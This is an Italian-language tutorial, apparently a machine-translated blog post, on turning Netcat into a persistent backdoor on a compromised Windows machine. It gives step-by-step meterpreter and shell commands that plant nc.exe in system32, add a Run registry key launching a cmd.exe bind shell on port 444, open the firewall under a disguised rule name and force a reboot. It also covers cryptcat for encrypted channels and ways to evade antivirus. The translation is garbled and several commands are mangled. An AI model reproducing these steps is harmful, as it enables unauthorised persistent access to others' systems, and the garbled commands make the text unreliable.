Introduzione:
Netcat è un'utilità di rete in grado di leggere e scrivere su entrambe le porte UDP e TCP. Viene spesso definito il coltellino svizzero degli strumenti di hacking perché può fare diverse cose sia come client che come server durante le avventure di hacking. Lo useremo spesso per creare bind e reverse shell hood attorno ai report per vedere cosa sta succedendo e inviare file tra le macchine. Shell è un modo per interagire con un computer come un prompt dei comandi su Windows o un terminale in Linux. Netcat ci consente di eseguire molte cose come gli scaffali inversi, di comunicare tra due o più computer e ti consentirà di eseguire una miriade di funzioni. Netcat è in grado di eseguire la scansione delle porte e connettersi alle porte aperte utilizzando i suoi semplici argomenti di comando. È anche in grado di inviare file e fornire amministrazione remota tramite una shell diretta o inversa.
Utilizzo di Netcat come agente persistente:
Netcat è un programma estremamente versatile e utile. Ho menzionato in precedenza in questo articolo che viene utilizzato per comunicare tra due computer. Può essere utilizzato anche se si desidera installare la persistenza. Netcat può essere usato come backdoor. Quindi iniziamo con la creazione di una shell persistente sul sistema compromesso utilizzando Netcat. Useremo -nc.exe, poiché è il nome dell'eseguibile. Ma se lo rinomini prima di usarlo riduci al minimo le possibilità di rilevamento. Tuttavia, anche dopo aver rinominato un software antivirus è possibile rilevarlo. Molti hacker alterano alcuni elementi del codice sorgente di Netcat, che non sono necessari e, prima di utilizzarlo, lo ricompilano. Queste modifiche renderanno Netcat invisibile al software antivirus.
Su Kali, Netcat è memorizzato in /usr/share/windows-binaries. Per caricarlo sul sistema compromesso, usa il comando da meterpreter:
$ meterpreter> upload/usr/share/windows-binaries/nc.exe C:\\WINDOWS\\system32
Ci sono molti tipi di file in questa cartella, per nascondere un file in un sistema compromesso è il posto migliore
Puoi anche usare un protocollo di trasferimento file Trivial se non hai una connessione meterpreter per trasferire il file.
Il passaggio successivo è configurare il registro in modo da poter avviare Netcat all'avvio del sistema e assicurarsi che sia in ascolto sulla porta 444. Usa il comando indicato di seguito:
$ meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\versione attuale\\run -vv nc -d 'C:\\windows\\system32\\nc.exe -Ldp 444
-e cmd.EXE'
Ora che hai utilizzato il comando sopra menzionato, usa il seguente comando queryval per assicurarti che la corretta implementazione delle modifiche nel registro.
$ meterpreter> reg queryval -kHKLM\\software\\microsoft\\windows\\versione attuale\\run -vv nc
Aprire una porta su un firewall locale per confermare che il sistema compromesso accetterà connessioni remote a Netcat utilizzando il comando $netsh. Conoscere il sistema operativo del bersaglio è di primaria importanza. Il contesto della riga di comando utilizzato per Windows Vista, Windows Server 2008, è
$ netsh advfirewallPer i sistemi precedenti, viene utilizzato il comando $netsh firewall. Immettere il comando shell al prompt meterpreter per aggiungere la porta al firewall di Windows locale, immettere la regola utilizzando il comando adatto suitable. Per il corretto funzionamento del sistema, nome utente come 'svchostpassthrough' durante la denominazione della regola. Un comando di esempio è mostrato come segue:
$ C:\Windows\system32> firewall netsh aggiungi apertura portaTCP 444 "pass-through del servizio"
Per confermare che la modifica è stata implementata con successo utilizzando il seguente comando:
$ C:\windows\system32> netsh firewall mostra l'apertura della porta
Dopo la conferma della regola della porta, assicurati che l'opzione di riavvio funzioni.
Immettere il seguente comando dal prompt meterpreter:
$ meterpreter> rebootImmettere il seguente comando da una shell di Windows interattiva:
$ C:\windows\system32> spegnimento -r -t 00Per accedere in remoto al sistema compromesso, digitare $nc al prompt dei comandi, indicare la verbosità della connessione (-v e -vv riportano informazioni di base, molte più informazioni rispettivamente), quindi inserire l'indirizzo IP della destinazione e il numero di porta.
$ nc -v 192.168.43.128 444
Sfortunatamente, Netcat ha alcune limitazioni, ovvero non esiste l'autenticazione dei dati trasmessi e il software antivirus può rilevarli. Tuttavia, il problema di una minore crittografia può essere risolto utilizzando cryptcat, che è un'alternativa a Netcat. Durante la trasmissione tra l'host sfruttato e l'attaccante, protegge i dati utilizzando la crittografia Twofish. Non sarà sbagliato dire che fornisce una protezione ragionevolmente forte per i dati crittografati.
Assicurati che ci sia un listener pronto e configurato con una password complessa per usare cryptcat, usa il seguente comando:
$ sudo cryptcat -k password -l -p 444Il prossimo passo è caricare cryptcat sul sistema compromesso e configurarlo per connettersi con l'indirizzo IP dell'ascoltatore usando il seguente comando:
$ C:\cryptcat -k passwordÈ un peccato dire che Netcat e le sue varianti possono essere rilevate dal software antivirus. Utilizzando un editor esadecimale per alterare il codice sorgente di Netcat, esiste la possibilità che Netcat non venga rilevato. Ma è un lungo processo per tentativi ed errori. Un approccio più affidabile consiste nell'utilizzare i meccanismi di persistenza di Metasploit Framework.
Conclusione:
NETCAT è un coltellino svizzero che viene utilizzato per l'hacking efficiente. Può svolgere diverse funzioni per accedere al server e al client. Questo articolo fornisce una breve descrizione della funzione e dell'uso di NETCAT. Spero ti sia piaciuto se questo articolo ti è stato d'aiuto allora condividilo con i tuoi amici. Sentiti libero di fare domande su NETCAT. Puoi anche condividere la tua opinione e ulteriori dettagli.